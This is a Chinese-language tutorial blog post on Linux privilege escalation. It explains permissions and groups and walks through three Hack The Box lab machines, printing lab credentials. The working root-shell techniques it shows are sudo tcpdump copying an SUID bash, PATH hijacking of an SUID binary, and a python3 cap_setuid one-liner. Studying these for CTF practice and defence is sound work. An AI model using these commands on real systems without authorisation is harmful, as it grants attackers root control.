当前位置:首页>Linux>Linux 权限提升基础

Linux 权限提升基础

  • 2026-08-23 15:09:16
Linux 权限提升基础

官网:http://securitytech.cc/

你好,我们将一起学习 Linux 权限提升(Privilege Escalation) 的基础知识,包括必须掌握的重要命令,以及一些可以用来拿到那“甜美的 root shell”的技术。如果你对这个主题感兴趣,那就跟我一起深入吧。


什么是权限提升(Privilege Escalation)?

权限提升(Privilege Escalation,简称 PrivEsc)是指从一个 低权限用户 提升到 高权限用户 的过程。这通常是由于操作系统或其应用程序中存在 漏洞、错误配置或不安全的权限设置 所导致的。

权限提升通常分为两种类型:

  • 纵向权限提升(Vertical Privilege Escalation)从普通用户提升到管理员 / root。

  • 横向权限提升(Horizontal Privilege Escalation)从一个普通用户切换到另一个普通用户。


Linux 权限是如何工作的?

要理解权限提升,首先必须理解 Linux 的权限机制。

在 Linux 中,权限定义了 谁可以对文件进行读取(read)、写入(write)和执行(execute)权限分别分配给:

  • 文件所有者(owner)

  • 所属组(group)

  • 其他用户(others)

查看文件权限可以使用以下命令:

ls -la {filename}

在示例中,这是一个普通的 .PHP 文件,其权限字符串为:

-rw-r--r--

权限始终由 10 个字符组成:

  • 第 1 个字符:是否为目录

  • 后 9 个字符:分为三组(owner / group / others)

对示例权限的解读如下:

  • 第一个 -:表示这是一个文件,而不是目录

  • rw-:所有者可读、可写、不可执行

  • r--:组用户只能读取

  • r--:其他用户只能读取

再看一个可执行文件的例子:

  • -:不是目录

  • rwx:所有者可读、可写、可执行

  • r-x:组用户可读、可执行

  • r-x:其他用户可读、可执行


用户(Users)

Linux 用户通常分为三类:

  • Root 用户也称超级用户(Superuser),拥有系统的最高权限,可以访问所有文件和命令,并管理其他账户。

  • 普通用户标准用户,只能访问自己的文件,通常位于 /home/username

  • 系统用户用于运行后台服务(如 Web 服务器、数据库)的账户。

id 命令用于显示当前用户的:

  • 用户 ID(UID)

  • 主组 ID(GID)

  • 所属组列表

也可以查看其他用户的信息,例如:

id root

root 的 UID 永远是 0

按回车或点击查看大图:

这是权限提升中 最重要的命令之一,因为它能直接告诉我们当前用户的权限级别以及所属的用户组,这些信息往往已经隐含了潜在的提权路径。

另一个非常重要的命令是:

sudo -l

该命令会列出当前用户 允许以 root 权限执行的命令,并告诉我们该用户是否能使用 sudo。后面你会看到它为何如此关键。


枚举系统中的用户

系统中的用户信息存储在 /etc/passwd 文件中:

cat /etc/passwd

若只想获取用户名列表:

cat /etc/passwd | cut -d ":" -f 1

  • -d ":":以 : 作为分隔符

  • -f 1:取第一个字段(用户名)

普通用户通常拥有 /home 目录,可以这样筛选:

cat /etc/passwd | grep /home

查看当前登录用户的命令包括:

  • who

  • w

  • users


用户组(Groups)

用户组在权限提升中扮演着非常重要的角色。属于某些特定组,往往意味着:

  • 更高权限

  • 对敏感信息的访问

  • 可被滥用的系统工具

常见可被滥用的用户组包括:

  • sudo:可使用 sudo 以 root 身份执行命令

  • root:直接拥有 root 权限

  • adm:可读取 /var/log 下的日志(可能包含凭据)

  • docker:可启动特权容器获取宿主机 root

  • lxd/lxc:同样可构造特权容器并挂载宿主文件系统

  • disk:直接访问磁盘原始数据

查看用户所属组:

idgroups


权限提升技术(Techniques)

权限提升不存在“万能都需要 枚举 → 分析 → 利用,找到适合的提权路径。

接下来我们将通过 Hack The Box 的真实靶机,学习三种常见提权方式:

  • sudo

  • SUID

  • Capabilities


Sudo 提权

示例来自 Strutted 靶机。

通过 CVE-2024-53677 漏洞拿到初始权限后,我们获得了如下用户凭据:

username: jamespassword: IT14d6SSP81k

SSH 登录:

ssh james@10.10.11.59

查看系统信息:

uname -a

检查 sudo 权限:

sudo -l

发现可以 无需密码以 root 身份运行 tcpdump,这是一个明显的提权s

GTFOBins 是一个整理好的 Unix 二进制程序滥用列表,可用于逃逸受限 shell、权限提升、维持高权限、文件传输、反弹 shell 等。

我们将 id 换成拷贝 bash 的命令:

COMMAND='cp /bin/bash /tmp/my_bash && chmod +s /tmp/my_bash'

这样会生成一个 带 SUID 的 root bash

检查权限:

执行:

🎯 成功通过 sudo 滥用完成提权。


SUID 提权

示例来自 Oopsie

用户凭据:

username: robertpassword: M3g4C0rpUs3r!

该用户无法使用 sudo,但属于 bugtracker 组:

查找该组可执行文件:

find / -group bugtracker 2>/dev/null

发现:

/usr/bin/bugtracker

权限如下:

注意 rws,表示 SUID 位已设置,且 owner 是 root。

程序调用了未使用绝对路径的 cat,可通过 PATH 劫持 提权:

export PATH=/tmp:$PATH

构造恶意 cat

执行 bugtracker 后:

🎯 获得 root shell。


Capabilities 提权

示例来自 Cap

凭据:

username: nathanpassword: Buck3tH4TF0RM3!

枚举 capabilities:

getcap -r / 2>/dev/null

发现:

/usr/bin/python3.8 = cap_setuid+ep

利用方式:

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

🎯 成功提权为 root。


总结

在本文中,我们学习了 Linux 权限提升的基础知识,并通过三个真实场景演示了:

  • sudo 滥用

  • SUID 滥用

  • Capabilities 滥用

权限提升是一项需要不断练习和积累经验的技能,希望这篇文章能对你有所帮助,也能激发你继续深入学习。

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx

最新文章

随机文章